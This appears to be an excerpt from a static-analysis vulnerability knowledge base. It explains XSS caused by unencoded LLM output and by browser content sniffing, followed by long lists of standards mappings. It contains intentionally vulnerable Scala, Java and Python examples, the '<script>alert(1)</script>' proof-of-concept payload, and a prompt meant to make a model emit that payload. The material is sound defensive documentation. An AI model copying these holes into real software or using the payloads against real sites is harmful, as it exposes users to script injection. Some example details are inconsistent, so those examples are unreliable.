[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_ai
Abstract
Sending unvalidated machine learning model output to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following code retrieves a response from a large language model and returns it to the user in an HTTP response.


chatService.createCompletion(
text,
settings = CreateCompletionSettings(...)
).map(completion =>
val html = Html(completion.choices.head.text)
Ok(html) as HTML
)
...

The code in this example behaves as expected if the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return an XSS proof of concept depending on the model and context being used.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_ai
Abstract
Sending unvalidated data to a web browser may result in certain browsers executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but may also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

For the browser to render the response as HTML, or other document that may execute scripts, it has to specify a text/html MIME type. Therefore, XSS is only possible if the response uses this MIME type or any other that also forces the browser to render the response as HTML or other document that may execute scripts such as SVG images (image/svg+xml), XML documents (application/xml), etc.

Most modern browsers do not render HTML or execute scripts when provided a response with MIME types such as application/octet-stream. However, some browsers such as Internet Explorer perform what is known as Content Sniffing. Content Sniffing involves ignoring the provided MIME type and attempting to infer the correct MIME type by the contents of the response.
It is worth noting however, a MIME type of text/html is only one such MIME type that may lead to XSS vulnerabilities. Other documents that may execute scripts such as SVG images (image/svg+xml), XML documents (application/xml), as well as others may lead to XSS vulnerabilities regardless of whether the browser performs Content Sniffing.

Therefore, a response such as <html><body><script>alert(1)</script></body></html>, could be rendered as HTML even if its content-type header is set to application/octet-stream, multipart-mixed, and so on.

Example 1: The following JAX-RS method reflects user data in an application/octet-stream response.


@RestController
public class SomeResource {
@RequestMapping(value = "/test", produces = {MediaType.APPLICATION_OCTET_STREAM_VALUE})
public String response5(@RequestParam(value="name") String name){
return name;
}
}


If an attacker sends a request with the name parameter set to <html><body><script>alert(1)</script></body></html>, the server will produce the following response:


HTTP/1.1 200 OK
Content-Length: 51
Content-Type: application/octet-stream
Connection: Closed

<html><body><script>alert(1)</script></body></html>


Even though, the response clearly states that it should be treated as a JSON document, an old browser may still try to render it as an HTML document, making it vulnerable to a Cross-Site Scripting attack.
References
[1] X-Content-Type-Options Mozilla
[2] MIME Type Detection in Windows Internet Explorer Microsoft
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[6] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[7] INJECT-3: XML and HTML generation requires care Oracle
[8] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[15] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[16] Standards Mapping - FIPS200 SI
[17] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[24] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[28] Standards Mapping - OWASP Top 10 2021 A03 Injection
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_content_sniffing
Abstract
Sending unvalidated data to a web browser may result in certain browsers executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but may also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

For the browser to render the response as HTML, or other document that may execute scripts, it has to specify a text/html MIME type. Therefore, XSS is only possible if the response uses this MIME type or any other that also forces the browser to render the response as HTML or other document that may execute scripts such as SVG images (image/svg+xml), XML documents (application/xml), etc.

Most modern browsers will not render HTML, nor execute scripts when provided a response with MIME types such as application/json. However, some browsers such as Internet Explorer perform what is known as Content Sniffing. Content Sniffing involves ignoring the provided MIME type and attempting to infer the correct MIME type by the contents of the response.
It is worth noting however, a MIME type of text/html is only one such MIME type that may lead to XSS vulnerabilities. Other documents that may execute scripts such as SVG images (image/svg+xml), XML documents (application/xml), as well as others may lead to XSS vulnerabilities regardless of whether the browser performs Content Sniffing.

Therefore, a response such as <html><body><script>alert(1)</script></body></html>, could be rendered as HTML even if its content-type header is set to application/json.

Example 1: The following AWS Lambda function reflects user data in an application/json response.


def mylambda_handler(event, context):
name = event['name']
response = {
"statusCode": 200,
"body": "{'name': name}",
"headers": {
'Content-Type': 'application/json',
}
}
return response


If an attacker sends a request with the name parameter set to <html><body><script>alert(1)</script></body></html>, the server will produce the following response:


HTTP/1.1 200 OK
Content-Length: 88
Content-Type: application/json
Connection: Closed

{'name': '<html><body><script>alert(1)</script></body></html>'}


Even though, the response clearly states that it should be treated as a JSON document, an old browser may still try to render it as an HTML document, making it vulnerable to a Cross-Site Scripting attack.
References
[1] X-Content-Type-Options Mozilla
[2] MIME Type Detection in Windows Internet Explorer Microsoft
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[6] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[7] INJECT-3: XML and HTML generation requires care Oracle
[8] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[14] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[15] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[16] Standards Mapping - FIPS200 SI
[17] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[24] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[27] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[28] Standards Mapping - OWASP Top 10 2021 A03 Injection
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_content_sniffing
Abstract
